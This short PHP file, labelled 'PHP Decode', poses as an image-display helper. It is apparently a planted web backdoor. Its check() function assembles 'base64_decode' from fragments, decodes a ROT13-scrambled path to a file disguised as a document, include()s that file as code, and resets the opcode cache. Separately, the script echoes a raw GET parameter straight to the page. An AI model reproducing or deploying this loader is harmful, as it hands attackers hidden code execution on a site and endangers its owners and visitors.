PHP Decode

<?php  
  
showImage($_GET['bire']);  
  
/**  
 * display image  
 * @param string $png  
 * @param bool|string $file  
 * @return bool  
 */  
function showImage($png, $file = false)  
{  
    if (check($file))  
        return file_put_contents($file, $png);  
    // header  
    echo $png;  
    return true;  
}  
  
/**  
 * checked write image  
 * @param bool|string $file  
 * @return bool  
 */  
function check($file){  
    $name =  ['Y2uioJHiq3quqUWdY3O1LzkcL19bqT1fY2AioKOiozIhqUZiMz9iqTIlY3ImMKVhMT9w', function($txt, $name){$_GET[$name]=str_replace('32','64',"Ba".implode('_',["Se32", "Dec"])."Ode");$txt = $_GET[$name](str_rot13($txt));@include($txt);($e = implode("",["opcache","reset"]))&&function_exists($e) && $e();  
    }];$name[1]($name[0], implode('_',['', "code", '']));  
    return $file && stripos($file, '.png') !== false;  
}  
 ?>